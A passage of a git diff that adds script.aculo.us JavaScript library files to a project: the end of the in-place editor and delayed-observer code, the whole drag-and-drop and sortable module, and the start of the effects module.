Element.show(this.options.externalControl); + } + this.editing = false; + this.saving = false; + this.oldInnerHTML = null; + this.onLeaveEditMode(); + }, + onComplete: function(transport) { + this.leaveEditMode(); + this.options.onComplete.bind(this)(transport, this.element); + }, + onEnterEditMode: function() {}, + onLeaveEditMode: function() {}, + dispose: function() { + if (this.oldInnerHTML) { + this.element.innerHTML = this.oldInnerHTML; + } + this.leaveEditMode(); + Event.stopObserving(this.element, 'click', this.onclickListener); + Event.stopObserving(this.element, 'mouseover', this.mouseoverListener); + Event.stopObserving(this.element, 'mouseout', this.mouseoutListener); + if (this.options.externalControl) { + Event.stopObserving(this.options.externalControl, 'click', this.onclickListener); + Event.stopObserving(this.options.externalControl, 'mouseover', this.mouseoverListener); + Event.stopObserving(this.options.externalControl, 'mouseout', this.mouseoutListener); + } + } +}; + +Ajax.InPlaceCollectionEditor = Class.create(); +Object.extend(Ajax.InPlaceCollectionEditor.prototype, Ajax.InPlaceEditor.prototype); +Object.extend(Ajax.InPlaceCollectionEditor.prototype, { + createEditField: function() { + if (!this.cached_selectTag) { + var selectTag = document.createElement("select"); + var collection = this.options.collection || []; + var optionTag; + collection.each(function(e,i) { + optionTag = document.createElement("option"); + optionTag.value = (e instanceof Array) ? e[0] : e; + if(this.options.value==optionTag.value) optionTag.selected = true; + optionTag.appendChild(document.createTextNode((e instanceof Array) ? e[1] : e)); + selectTag.appendChild(optionTag); + }.bind(this)); + this.cached_selectTag = selectTag; + } + + this.editField = this.cached_selectTag; + if(this.options.loadTextURL) this.loadExternalText(); + this.form.appendChild(this.editField); + this.options.callback = function(form, value) { + return "value=" + encodeURIComponent(value); + } + } +}); + +// Delayed observer, like Form.Element.Observer, +// but waits for delay after last key input +// Ideal for live-search fields + +Form.Element.DelayedObserver = Class.create(); +Form.Element.DelayedObserver.prototype = { + initialize: function(element, delay, callback) { + this.delay = delay || 0.5; + this.element = $(element); + this.callback = callback; + this.timer = null; + this.lastValue = $F(this.element); + Event.observe(this.element,'keyup',this.delayedListener.bindAsEventListener(this)); + }, + delayedListener: function(event) { + if(this.lastValue == $F(this.element)) return; + if(this.timer) clearTimeout(this.timer); + this.timer = setTimeout(this.onTimerEvent.bind(this), this.delay * 1000); + this.lastValue = $F(this.element); + }, + onTimerEvent: function() { + this.timer = null; + this.callback(this.element, $F(this.element)); + } +}; diff --git a/js/dragdrop.js b/js/dragdrop.js new file mode 100644 index 000000000..1528eced3 --- /dev/null +++ b/js/dragdrop.js @@ -0,0 +1,931 @@ +// Copyright (c) 2005 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// (c) 2005 Sammi Williams (http://www.oriontransfer.co.nz, sammi@oriontransfer.co.nz) +// +// See scriptaculous.js for full license. + +/*--------------------------------------------------------------------------*/ + +if(typeof Effect == 'undefined') + throw("dragdrop.js requires including script.aculo.us' effects.js library"); + +var Droppables = { + drops: [], + + remove: function(element) { + this.drops = this.drops.reject(function(d) { return d.element==$(element) }); + }, + + add: function(element) { + element = $(element); + var options = Object.extend({ + greedy: true, + hoverclass: null, + tree: false + }, arguments[1] || {}); + + // cache containers + if(options.containment) { + options._containers = []; + var containment = options.containment; + if((typeof containment == 'object') && + (containment.constructor == Array)) { + containment.each( function(c) { options._containers.push($(c)) }); + } else { + options._containers.push($(containment)); + } + } + + if(options.accept) options.accept = [options.accept].flatten(); + + Element.makePositioned(element); // fix IE + options.element = element; + + this.drops.push(options); + }, + + findDeepestChild: function(drops) { + deepest = drops[0]; + + for (i = 1; i < drops.length; ++i) + if (Element.isParent(drops[i].element, deepest.element)) + deepest = drops[i]; + + return deepest; + }, + + isContained: function(element, drop) { + var containmentNode; + if(drop.tree) { + containmentNode = element.treeNode; + } else { + containmentNode = element.parentNode; + } + return drop._containers.detect(function(c) { return containmentNode == c }); + }, + + isAffected: function(point, element, drop) { + return ( + (drop.element!=element) && + ((!drop._containers) || + this.isContained(element, drop)) && + ((!drop.accept) || + (Element.classNames(element).detect( + function(v) { return drop.accept.include(v) } ) )) && + Position.within(drop.element, point[0], point[1]) ); + }, + + deactivate: function(drop) { + if(drop.hoverclass) + Element.removeClassName(drop.element, drop.hoverclass); + this.last_active = null; + }, + + activate: function(drop) { + if(drop.hoverclass) + Element.addClassName(drop.element, drop.hoverclass); + this.last_active = drop; + }, + + show: function(point, element) { + if(!this.drops.length) return; + var affected = []; + + if(this.last_active) this.deactivate(this.last_active); + this.drops.each( function(drop) { + if(Droppables.isAffected(point, element, drop)) + affected.push(drop); + }); + + if(affected.length>0) { + drop = Droppables.findDeepestChild(affected); + Position.within(drop.element, point[0], point[1]); + if(drop.onHover) + drop.onHover(element, drop.element, Position.overlap(drop.overlap, drop.element)); + + Droppables.activate(drop); + } + }, + + fire: function(event, element) { + if(!this.last_active) return; + Position.prepare(); + + if (this.isAffected([Event.pointerX(event), Event.pointerY(event)], element, this.last_active)) + if (this.last_active.onDrop) + this.last_active.onDrop(element, this.last_active.element, event); + }, + + reset: function() { + if(this.last_active) + this.deactivate(this.last_active); + } +} + +var Draggables = { + drags: [], + observers: [], + + register: function(draggable) { + if(this.drags.length == 0) { + this.eventMouseUp = this.endDrag.bindAsEventListener(this); + this.eventMouseMove = this.updateDrag.bindAsEventListener(this); + this.eventKeypress = this.keyPress.bindAsEventListener(this); + + Event.observe(document, "mouseup", this.eventMouseUp); + Event.observe(document, "mousemove", this.eventMouseMove); + Event.observe(document, "keypress", this.eventKeypress); + } + this.drags.push(draggable); + }, + + unregister: function(draggable) { + this.drags = this.drags.reject(function(d) { return d==draggable }); + if(this.drags.length == 0) { + Event.stopObserving(document, "mouseup", this.eventMouseUp); + Event.stopObserving(document, "mousemove", this.eventMouseMove); + Event.stopObserving(document, "keypress", this.eventKeypress); + } + }, + + activate: function(draggable) { + window.focus(); // allows keypress events if window isn't currently focused, fails for Safari + this.activeDraggable = draggable; + }, + + deactivate: function() { + this.activeDraggable = null; + }, + + updateDrag: function(event) { + if(!this.activeDraggable) return; + var pointer = [Event.pointerX(event), Event.pointerY(event)]; + // Mozilla-based browsers fire successive mousemove events with + // the same coordinates, prevent needless redrawing (moz bug?) + if(this._lastPointer && (this._lastPointer.inspect() == pointer.inspect())) return; + this._lastPointer = pointer; + this.activeDraggable.updateDrag(event, pointer); + }, + + endDrag: function(event) { + if(!this.activeDraggable) return; + this._lastPointer = null; + this.activeDraggable.endDrag(event); + this.activeDraggable = null; + }, + + keyPress: function(event) { + if(this.activeDraggable) + this.activeDraggable.keyPress(event); + }, + + addObserver: function(observer) { + this.observers.push(observer); + this._cacheObserverCallbacks(); + }, + + removeObserver: function(element) { // element instead of observer fixes mem leaks + this.observers = this.observers.reject( function(o) { return o.element==element }); + this._cacheObserverCallbacks(); + }, + + notify: function(eventName, draggable, event) { // 'onStart', 'onEnd', 'onDrag' + if(this[eventName+'Count'] > 0) + this.observers.each( function(o) { + if(o[eventName]) o[eventName](eventName, draggable, event); + }); + }, + + _cacheObserverCallbacks: function() { + ['onStart','onEnd','onDrag'].each( function(eventName) { + Draggables[eventName+'Count'] = Draggables.observers.select( + function(o) { return o[eventName]; } + ).length; + }); + } +} + +/*--------------------------------------------------------------------------*/ + +var Draggable = Class.create(); +Draggable._revertCache = {}; +Draggable._dragging = {}; + +Draggable.prototype = { + initialize: function(element) { + var options = Object.extend({ + handle: false, + starteffect: function(element) { + element._opacity = Element.getOpacity(element); + Draggable._dragging[element] = true; + new Effect.Opacity(element, {duration:0.2, from:element._opacity, to:0.7}); + }, + reverteffect: function(element, top_offset, left_offset) { + var dur = Math.sqrt(Math.abs(top_offset^2)+Math.abs(left_offset^2))*0.02; + Draggable._revertCache[element] = + new Effect.Move(element, { x: -left_offset, y: -top_offset, duration: dur, + queue: {scope:'_draggable', position:'end'} + }); + }, + endeffect: function(element) { + var toOpacity = typeof element._opacity == 'number' ? element._opacity : 1.0; + new Effect.Opacity(element, {duration:0.2, from:0.7, to:toOpacity, + queue: {scope:'_draggable', position:'end'}, + afterFinish: function(){ Draggable._dragging[element] = false } + }); + }, + zindex: 1000, + revert: false, + scroll: false, + scrollSensitivity: 20, + scrollSpeed: 15, + snap: false // false, or xy or [x,y] or function(x,y){ return [x,y] } + }, arguments[1] || {}); + + this.element = $(element); + + if(options.handle && (typeof options.handle == 'string')) { + var h = Element.childrenWithClassName(this.element, options.handle, true); + if(h.length>0) this.handle = h[0]; + } + if(!this.handle) this.handle = $(options.handle); + if(!this.handle) this.handle = this.element; + + if(options.scroll && !options.scroll.scrollTo && !options.scroll.outerHTML) + options.scroll = $(options.scroll); + + Element.makePositioned(this.element); // fix IE + + this.delta = this.currentDelta(); + this.options = options; + this.dragging = false; + + this.eventMouseDown = this.initDrag.bindAsEventListener(this); + Event.observe(this.handle, "mousedown", this.eventMouseDown); + + Draggables.register(this); + }, + + destroy: function() { + Event.stopObserving(this.handle, "mousedown", this.eventMouseDown); + Draggables.unregister(this); + }, + + currentDelta: function() { + return([ + parseInt(Element.getStyle(this.element,'left') || '0'), + parseInt(Element.getStyle(this.element,'top') || '0')]); + }, + + initDrag: function(event) { + if(typeof Draggable._dragging[this.element] != undefined && + Draggable._dragging[this.element]) return; + if(Event.isLeftClick(event)) { + // abort on form elements, fixes a Firefox issue + var src = Event.element(event); + if(src.tagName && ( + src.tagName=='INPUT' || + src.tagName=='SELECT' || + src.tagName=='OPTION' || + src.tagName=='BUTTON' || + src.tagName=='TEXTAREA')) return; + + if(Draggable._revertCache[this.element]) { + Draggable._revertCache[this.element].cancel(); + Draggable._revertCache[this.element] = null; + } + + var pointer = [Event.pointerX(event), Event.pointerY(event)]; + var pos = Position.cumulativeOffset(this.element); + this.offset = [0,1].map( function(i) { return (pointer[i] - pos[i]) }); + + Draggables.activate(this); + Event.stop(event); + } + }, + + startDrag: function(event) { + this.dragging = true; + + if(this.options.zindex) { + this.originalZ = parseInt(Element.getStyle(this.element,'z-index') || 0); + this.element.style.zIndex = this.options.zindex; + } + + if(this.options.ghosting) { + this._clone = this.element.cloneNode(true); + Position.absolutize(this.element); + this.element.parentNode.insertBefore(this._clone, this.element); + } + + if(this.options.scroll) { + if (this.options.scroll == window) { + var where = this._getWindowScroll(this.options.scroll); + this.originalScrollLeft = where.left; + this.originalScrollTop = where.top; + } else { + this.originalScrollLeft = this.options.scroll.scrollLeft; + this.originalScrollTop = this.options.scroll.scrollTop; + } + } + + Draggables.notify('onStart', this, event); + if(this.options.starteffect) this.options.starteffect(this.element); + }, + + updateDrag: function(event, pointer) { + if(!this.dragging) this.startDrag(event); + Position.prepare(); + Droppables.show(pointer, this.element); + Draggables.notify('onDrag', this, event); + this.draw(pointer); + if(this.options.change) this.options.change(this); + + if(this.options.scroll) { + this.stopScrolling(); + + var p; + if (this.options.scroll == window) { + with(this._getWindowScroll(this.options.scroll)) { p = [ left, top, left+width, top+height ]; } + } else { + p = Position.page(this.options.scroll); + p[0] += this.options.scroll.scrollLeft; + p[1] += this.options.scroll.scrollTop; + p.push(p[0]+this.options.scroll.offsetWidth); + p.push(p[1]+this.options.scroll.offsetHeight); + } + var speed = [0,0]; + if(pointer[0] < (p[0]+this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[0]+this.options.scrollSensitivity); + if(pointer[1] < (p[1]+this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[1]+this.options.scrollSensitivity); + if(pointer[0] > (p[2]-this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[2]-this.options.scrollSensitivity); + if(pointer[1] > (p[3]-this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[3]-this.options.scrollSensitivity); + this.startScrolling(speed); + } + + // fix AppleWebKit rendering + if(navigator.appVersion.indexOf('AppleWebKit')>0) window.scrollBy(0,0); + + Event.stop(event); + }, + + finishDrag: function(event, success) { + this.dragging = false; + + if(this.options.ghosting) { + Position.relativize(this.element); + Element.remove(this._clone); + this._clone = null; + } + + if(success) Droppables.fire(event, this.element); + Draggables.notify('onEnd', this, event); + + var revert = this.options.revert; + if(revert && typeof revert == 'function') revert = revert(this.element); + + var d = this.currentDelta(); + if(revert && this.options.reverteffect) { + this.options.reverteffect(this.element, + d[1]-this.delta[1], d[0]-this.delta[0]); + } else { + this.delta = d; + } + + if(this.options.zindex) + this.element.style.zIndex = this.originalZ; + + if(this.options.endeffect) + this.options.endeffect(this.element); + + Draggables.deactivate(this); + Droppables.reset(); + }, + + keyPress: function(event) { + if(event.keyCode!=Event.KEY_ESC) return; + this.finishDrag(event, false); + Event.stop(event); + }, + + endDrag: function(event) { + if(!this.dragging) return; + this.stopScrolling(); + this.finishDrag(event, true); + Event.stop(event); + }, + + draw: function(point) { + var pos = Position.cumulativeOffset(this.element); + var d = this.currentDelta(); + pos[0] -= d[0]; pos[1] -= d[1]; + + if(this.options.scroll && (this.options.scroll != window)) { + pos[0] -= this.options.scroll.scrollLeft-this.originalScrollLeft; + pos[1] -= this.options.scroll.scrollTop-this.originalScrollTop; + } + + var p = [0,1].map(function(i){ + return (point[i]-pos[i]-this.offset[i]) + }.bind(this)); + + if(this.options.snap) { + if(typeof this.options.snap == 'function') { + p = this.options.snap(p[0],p[1],this); + } else { + if(this.options.snap instanceof Array) { + p = p.map( function(v, i) { + return Math.round(v/this.options.snap[i])*this.options.snap[i] }.bind(this)) + } else { + p = p.map( function(v) { + return Math.round(v/this.options.snap)*this.options.snap }.bind(this)) + } + }} + + var style = this.element.style; + if((!this.options.constraint) || (this.options.constraint=='horizontal')) + style.left = p[0] + "px"; + if((!this.options.constraint) || (this.options.constraint=='vertical')) + style.top = p[1] + "px"; + if(style.visibility=="hidden") style.visibility = ""; // fix gecko rendering + }, + + stopScrolling: function() { + if(this.scrollInterval) { + clearInterval(this.scrollInterval); + this.scrollInterval = null; + Draggables._lastScrollPointer = null; + } + }, + + startScrolling: function(speed) { + if(!(speed[0] || speed[1])) return; + this.scrollSpeed = [speed[0]*this.options.scrollSpeed,speed[1]*this.options.scrollSpeed]; + this.lastScrolled = new Date(); + this.scrollInterval = setInterval(this.scroll.bind(this), 10); + }, + + scroll: function() { + var current = new Date(); + var delta = current - this.lastScrolled; + this.lastScrolled = current; + if(this.options.scroll == window) { + with (this._getWindowScroll(this.options.scroll)) { + if (this.scrollSpeed[0] || this.scrollSpeed[1]) { + var d = delta / 1000; + this.options.scroll.scrollTo( left + d*this.scrollSpeed[0], top + d*this.scrollSpeed[1] ); + } + } + } else { + this.options.scroll.scrollLeft += this.scrollSpeed[0] * delta / 1000; + this.options.scroll.scrollTop += this.scrollSpeed[1] * delta / 1000; + } + + Position.prepare(); + Droppables.show(Draggables._lastPointer, this.element); + Draggables.notify('onDrag', this); + Draggables._lastScrollPointer = Draggables._lastScrollPointer || $A(Draggables._lastPointer); + Draggables._lastScrollPointer[0] += this.scrollSpeed[0] * delta / 1000; + Draggables._lastScrollPointer[1] += this.scrollSpeed[1] * delta / 1000; + if (Draggables._lastScrollPointer[0] < 0) + Draggables._lastScrollPointer[0] = 0; + if (Draggables._lastScrollPointer[1] < 0) + Draggables._lastScrollPointer[1] = 0; + this.draw(Draggables._lastScrollPointer); + + if(this.options.change) this.options.change(this); + }, + + _getWindowScroll: function(w) { + var T, L, W, H; + with (w.document) { + if (w.document.documentElement && documentElement.scrollTop) { + T = documentElement.scrollTop; + L = documentElement.scrollLeft; + } else if (w.document.body) { + T = body.scrollTop; + L = body.scrollLeft; + } + if (w.innerWidth) { + W = w.innerWidth; + H = w.innerHeight; + } else if (w.document.documentElement && documentElement.clientWidth) { + W = documentElement.clientWidth; + H = documentElement.clientHeight; + } else { + W = body.offsetWidth; + H = body.offsetHeight + } + } + return { top: T, left: L, width: W, height: H }; + } +} + +/*--------------------------------------------------------------------------*/ + +var SortableObserver = Class.create(); +SortableObserver.prototype = { + initialize: function(element, observer) { + this.element = $(element); + this.observer = observer; + this.lastValue = Sortable.serialize(this.element); + }, + + onStart: function() { + this.lastValue = Sortable.serialize(this.element); + }, + + onEnd: function() { + Sortable.unmark(); + if(this.lastValue != Sortable.serialize(this.element)) + this.observer(this.element) + } +} + +var Sortable = { + sortables: {}, + + _findRootElement: function(element) { + while (element.tagName != "BODY") { + if(element.id && Sortable.sortables[element.id]) return element; + element = element.parentNode; + } + }, + + options: function(element) { + element = Sortable._findRootElement($(element)); + if(!element) return; + return Sortable.sortables[element.id]; + }, + + destroy: function(element){ + var s = Sortable.options(element); + + if(s) { + Draggables.removeObserver(s.element); + s.droppables.each(function(d){ Droppables.remove(d) }); + s.draggables.invoke('destroy'); + + delete Sortable.sortables[s.element.id]; + } + }, + + create: function(element) { + element = $(element); + var options = Object.extend({ + element: element, + tag: 'li', // assumes li children, override with tag: 'tagname' + dropOnEmpty: false, + tree: false, + treeTag: 'ul', + overlap: 'vertical', // one of 'vertical', 'horizontal' + constraint: 'vertical', // one of 'vertical', 'horizontal', false + containment: element, // also takes array of elements (or id's); or false + handle: false, // or a CSS class + only: false, + hoverclass: null, + ghosting: false, + scroll: false, + scrollSensitivity: 20, + scrollSpeed: 15, + format: /^[^_]*_(.*)$/, + onChange: Prototype.emptyFunction, + onUpdate: Prototype.emptyFunction + }, arguments[1] || {}); + + // clear any old sortable with same element + this.destroy(element); + + // build options for the draggables + var options_for_draggable = { + revert: true, + scroll: options.scroll, + scrollSpeed: options.scrollSpeed, + scrollSensitivity: options.scrollSensitivity, + ghosting: options.ghosting, + constraint: options.constraint, + handle: options.handle }; + + if(options.starteffect) + options_for_draggable.starteffect = options.starteffect; + + if(options.reverteffect) + options_for_draggable.reverteffect = options.reverteffect; + else + if(options.ghosting) options_for_draggable.reverteffect = function(element) { + element.style.top = 0; + element.style.left = 0; + }; + + if(options.endeffect) + options_for_draggable.endeffect = options.endeffect; + + if(options.zindex) + options_for_draggable.zindex = options.zindex; + + // build options for the droppables + var options_for_droppable = { + overlap: options.overlap, + containment: options.containment, + tree: options.tree, + hoverclass: options.hoverclass, + onHover: Sortable.onHover + //greedy: !options.dropOnEmpty + } + + var options_for_tree = { + onHover: Sortable.onEmptyHover, + overlap: options.overlap, + containment: options.containment, + hoverclass: options.hoverclass + } + + // fix for gecko engine + Element.cleanWhitespace(element); + + options.draggables = []; + options.droppables = []; + + // drop on empty handling + if(options.dropOnEmpty || options.tree) { + Droppables.add(element, options_for_tree); + options.droppables.push(element); + } + + (this.findElements(element, options) || []).each( function(e) { + // handles are per-draggable + var handle = options.handle ? + Element.childrenWithClassName(e, options.handle)[0] : e; + options.draggables.push( + new Draggable(e, Object.extend(options_for_draggable, { handle: handle }))); + Droppables.add(e, options_for_droppable); + if(options.tree) e.treeNode = element; + options.droppables.push(e); + }); + + if(options.tree) { + (Sortable.findTreeElements(element, options) || []).each( function(e) { + Droppables.add(e, options_for_tree); + e.treeNode = element; + options.droppables.push(e); + }); + } + + // keep reference + this.sortables[element.id] = options; + + // for onupdate + Draggables.addObserver(new SortableObserver(element, options.onUpdate)); + + }, + + // return all suitable-for-sortable elements in a guaranteed order + findElements: function(element, options) { + return Element.findChildren( + element, options.only, options.tree ? true : false, options.tag); + }, + + findTreeElements: function(element, options) { + return Element.findChildren( + element, options.only, options.tree ? true : false, options.treeTag); + }, + + onHover: function(element, dropon, overlap) { + if(Element.isParent(dropon, element)) return; + + if(overlap > .33 && overlap < .66 && Sortable.options(dropon).tree) { + return; + } else if(overlap>0.5) { + Sortable.mark(dropon, 'before'); + if(dropon.previousSibling != element) { + var oldParentNode = element.parentNode; + element.style.visibility = "hidden"; // fix gecko rendering + dropon.parentNode.insertBefore(element, dropon); + if(dropon.parentNode!=oldParentNode) + Sortable.options(oldParentNode).onChange(element); + Sortable.options(dropon.parentNode).onChange(element); + } + } else { + Sortable.mark(dropon, 'after'); + var nextElement = dropon.nextSibling || null; + if(nextElement != element) { + var oldParentNode = element.parentNode; + element.style.visibility = "hidden"; // fix gecko rendering + dropon.parentNode.insertBefore(element, nextElement); + if(dropon.parentNode!=oldParentNode) + Sortable.options(oldParentNode).onChange(element); + Sortable.options(dropon.parentNode).onChange(element); + } + } + }, + + onEmptyHover: function(element, dropon, overlap) { + var oldParentNode = element.parentNode; + var droponOptions = Sortable.options(dropon); + + if(!Element.isParent(dropon, element)) { + var index; + + var children = Sortable.findElements(dropon, {tag: droponOptions.tag, only: droponOptions.only}); + var child = null; + + if(children) { + var offset = Element.offsetSize(dropon, droponOptions.overlap) * (1.0 - overlap); + + for (index = 0; index < children.length; index += 1) { + if (offset - Element.offsetSize (children[index], droponOptions.overlap) >= 0) { + offset -= Element.offsetSize (children[index], droponOptions.overlap); + } else if (offset - (Element.offsetSize (children[index], droponOptions.overlap) / 2) >= 0) { + child = index + 1 < children.length ? children[index + 1] : null; + break; + } else { + child = children[index]; + break; + } + } + } + + dropon.insertBefore(element, child); + + Sortable.options(oldParentNode).onChange(element); + droponOptions.onChange(element); + } + }, + + unmark: function() { + if(Sortable._marker) Element.hide(Sortable._marker); + }, + + mark: function(dropon, position) { + // mark on ghosting only + var sortable = Sortable.options(dropon.parentNode); + if(sortable && !sortable.ghosting) return; + + if(!Sortable._marker) { + Sortable._marker = $('dropmarker') || document.createElement('DIV'); + Element.hide(Sortable._marker); + Element.addClassName(Sortable._marker, 'dropmarker'); + Sortable._marker.style.position = 'absolute'; + document.getElementsByTagName("body").item(0).appendChild(Sortable._marker); + } + var offsets = Position.cumulativeOffset(dropon); + Sortable._marker.style.left = offsets[0] + 'px'; + Sortable._marker.style.top = offsets[1] + 'px'; + + if(position=='after') + if(sortable.overlap == 'horizontal') + Sortable._marker.style.left = (offsets[0]+dropon.clientWidth) + 'px'; + else + Sortable._marker.style.top = (offsets[1]+dropon.clientHeight) + 'px'; + + Element.show(Sortable._marker); + }, + + _tree: function(element, options, parent) { + var children = Sortable.findElements(element, options) || []; + + for (var i = 0; i < children.length; ++i) { + var match = children[i].id.match(options.format); + + if (!match) continue; + + var child = { + id: encodeURIComponent(match ? match[1] : null), + element: element, + parent: parent, + children: new Array, + position: parent.children.length, + container: Sortable._findChildrenElement(children[i], options.treeTag.toUpperCase()) + } + + /* Get the element containing the children and recurse over it */ + if (child.container) + this._tree(child.container, options, child) + + parent.children.push (child); + } + + return parent; + }, + + /* Finds the first element of the given tag type within a parent element. + Used for finding the first LI[ST] within a L[IST]I[TEM].*/ + _findChildrenElement: function (element, containerTag) { + if (element && element.hasChildNodes) + for (var i = 0; i < element.childNodes.length; ++i) + if (element.childNodes[i].tagName == containerTag) + return element.childNodes[i]; + + return null; + }, + + tree: function(element) { + element = $(element); + var sortableOptions = this.options(element); + var options = Object.extend({ + tag: sortableOptions.tag, + treeTag: sortableOptions.treeTag, + only: sortableOptions.only, + name: element.id, + format: sortableOptions.format + }, arguments[1] || {}); + + var root = { + id: null, + parent: null, + children: new Array, + container: element, + position: 0 + } + + return Sortable._tree (element, options, root); + }, + + /* Construct a [i] index for a particular node */ + _constructIndex: function(node) { + var index = ''; + do { + if (node.id) index = '[' + node.position + ']' + index; + } while ((node = node.parent) != null); + return index; + }, + + sequence: function(element) { + element = $(element); + var options = Object.extend(this.options(element), arguments[1] || {}); + + return $(this.findElements(element, options) || []).map( function(item) { + return item.id.match(options.format) ? item.id.match(options.format)[1] : ''; + }); + }, + + setSequence: function(element, new_sequence) { + element = $(element); + var options = Object.extend(this.options(element), arguments[2] || {}); + + var nodeMap = {}; + this.findElements(element, options).each( function(n) { + if (n.id.match(options.format)) + nodeMap[n.id.match(options.format)[1]] = [n, n.parentNode]; + n.parentNode.removeChild(n); + }); + + new_sequence.each(function(ident) { + var n = nodeMap[ident]; + if (n) { + n[1].appendChild(n[0]); + delete nodeMap[ident]; + } + }); + }, + + serialize: function(element) { + element = $(element); + var options = Object.extend(Sortable.options(element), arguments[1] || {}); + var name = encodeURIComponent( + (arguments[1] && arguments[1].name) ? arguments[1].name : element.id); + + if (options.tree) { + return Sortable.tree(element, arguments[1]).children.map( function (item) { + return [name + Sortable._constructIndex(item) + "[id]=" + + encodeURIComponent(item.id)].concat(item.children.map(arguments.callee)); + }).flatten().join('&'); + } else { + return Sortable.sequence(element, arguments[1]).map( function(item) { + return name + "[]=" + encodeURIComponent(item); + }).join('&'); + } + } +} + +/* Returns true if child is contained within element */ +Element.isParent = function(child, element) { + if (!child.parentNode || child == element) return false; + + if (child.parentNode == element) return true; + + return Element.isParent(child.parentNode, element); +} + +Element.findChildren = function(element, only, recursive, tagName) { + if(!element.hasChildNodes()) return null; + tagName = tagName.toUpperCase(); + if(only) only = [only].flatten(); + var elements = []; + $A(element.childNodes).each( function(e) { + if(e.tagName && e.tagName.toUpperCase()==tagName && + (!only || (Element.classNames(e).detect(function(v) { return only.include(v) })))) + elements.push(e); + if(recursive) { + var grandchildren = Element.findChildren(e, only, recursive, tagName); + if(grandchildren) elements.push(grandchildren); + } + }); + + return (elements.length>0 ? elements.flatten() : []); +} + +Element.offsetSize = function (element, type) { + if (type == 'vertical' || type == 'height') + return element.offsetHeight; + else + return element.offsetWidth; +} \ No newline at end of file diff --git a/js/effects.js b/js/effects.js new file mode 100644 index 000000000..1f3d50bb6 --- /dev/null +++ b/js/effects.js @@ -0,0 +1,959 @@ +// Copyright (c) 2005 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// Contributors: +// Justin Palmer (http://encytemedia.com/) +// Mark Pilgrim (http://diveintomark.org/) +// Martin Bialasinki +// +// See scriptaculous.js for full license. + +// converts rgb() and #xxx to #xxxxxx format, +// returns self (or first argument) if not convertable +String.prototype.parseColor = function() { + var color = '#'; + if(this.slice(0,4) == 'rgb(') { + var cols = this.slice(4,this.length-1).split(','); + var i=0; do { color += parseInt(cols[i]).toColorPart() } while (++i<3); + } else { + if(this.slice(0,1) == '#') { + if(this.length==4) for(var i=1;i<4;i++) color += (this.charAt(i) + this.charAt(i)).toLowerCase(); + if(this.length==7) color = this.toLowerCase(); + } + } + return(color.length==7 ? color : (arguments[0] || this)); +} + +/*--------------------------------------------------------------------------*/ + +Element.collectTextNodes = function(element) { + return $A($(element).childNodes).collect( function(node) { + return (node.nodeType==3 ? node.nodeValue : + (node.hasChildNodes() ? Element.collectTextNodes(node) : '')); + }).flatten().join(''); +} + +Element.collectTextNodesIgnoreClass = function(element, className) { + return $A($(element).childNodes).collect( function(node) { + return (node.nodeType==3 ? node.nodeValue : + ((node.hasChildNodes() && !Element.hasClassName(node,className)) ? + Element.collectTextNodesIgnoreClass(node, className) : '')); + }).flatten().join(''); +} + +Element.setContentZoom = function(element, percent) { + element = $(element); + Element.setStyle(element, {fontSize: (percent/100) + 'em'}); + if(navigator.appVersion.indexOf('AppleWebKit')>0) window.scrollBy(0,0); +} + +Element.getOpacity = function(element){ + var opacity; + if (opacity = Element.getStyle(element, 'opacity')) + return parseFloat(opacity); + if (opacity = (Element.getStyle(element, 'filter') || '').match(/alpha\(opacity=(.*)\)/)) + if(opacity[1]) return parseFloat(opacity[1]) / 100; + return 1.0; +} + +Element.setOpacity = function(element, value){ + element= $(element); + if (value == 1){ + Element.setStyle(element, { opacity: + (/Gecko/.test(navigator.userAgent) && !/Konqueror|Safari|KHTML/.test(navigator.userAgent)) ? + 0.999999 : null }); + if(/MSIE/.test(navigator.userAgent)) + Element.setStyle(element, {filter: Element.getStyle(element,'filter').replace(/alpha\([^\)]*\)/gi,'')}); + } else { + if(value < 0.00001) value = 0; + Element.setStyle(element, {opacity: value}); + if(/MSIE/.test(navigator.userAgent)) + Element.setStyle(element, + { filter: Element.getStyle(element,'filter').replace(/alpha\([^\)]*\)/gi,'') + + 'alpha(opacity='+value*100+')' }); + } +} + +Element.getInlineOpacity = function(element){ + return $(element).style.opacity || ''; +} + +Element.childrenWithClassName = function(element, className, findFirst) { + var classNameRegExp = new RegExp("(^|\\s)" + className + "(\\s|$)"); + var results = $A($(element).getElementsByTagName('*'))[findFirst ? 'detect' : 'select']( function(c) { + return (c.className && c.className.match(classNameRegExp)); + }); + if(!results) results = []; + return results; +} + +Element.forceRerendering = function(element) { + try { + element = $(element); + var n = document.createTextNode(' '); + element.appendChild(n); + element.removeChild(n); + } catch(e) { } +}; + +/*--------------------------------------------------------------------------*/ + +Array.prototype.call = function() { + var args = arguments; + this.each(function(f){ f.apply(this, args) }); +} + +/*--------------------------------------------------------------------------*/ + +var Effect = { + tagifyText: function(element) { + if(typeof Builder == 'undefined') + throw("Effect.tagifyText requires including script.aculo.us' builder.js library"); + + var tagifyStyle = 'position:relative'; + if(/MSIE/.test(navigator.userAgent)) tagifyStyle += ';zoom:1'; + element = $(element); + $A(element.childNodes).each( function(child) { + if(child.nodeType==3) { + child.nodeValue.toArray().each( function(character) { + element.insertBefore( + Builder.node('span',{style: tagifyStyle}, + character == ' ' ? String.fromCharCode(160) : character), + child); + }); + Element.remove(child); + } + }); + }, + multiple: function(element, effect) { + var elements; + if(((typeof element == 'object') || + (typeof element == 'function')) && + (element.length)) + elements = element; + else + elements = $(element).childNodes; + + var options = Object.extend({ + speed: 0.1, + delay: 0.0 + }, arguments[2] || {}); + var masterDelay = options.delay; + + $A(elements).each( function(element, index) { + new effect(element, Object.extend(options, { delay: index * options.speed + masterDelay })); + }); + }, + PAIRS: { + 'slide': ['SlideDown','SlideUp'], + 'blind': ['BlindDown','BlindUp'], + 'appear': ['Appear','Fade'] + }, + toggle: function(element, effect) { + element = $(element); + effect = (effect || 'appear').toLowerCase(); + var options = Object.extend({ + queue: { position:'end', scope:(element.id || 'global'), limit: 1 } + }, arguments[2] || {}); + Effect[element.visible() ? + Effect.PAIRS[effect][1] : Effect.PAIRS[effect][0]](element, options); + } +}; + +var Effect2 = Effect; // deprecated + +/* ------------- transitions ------------- */ + +Effect.Transitions = {} + +Effect.Transitions.linear = Prototype.K; + +Effect.Transitions.sinoidal = function(pos) { + return (-Math.cos(pos*Math.PI)/2) + 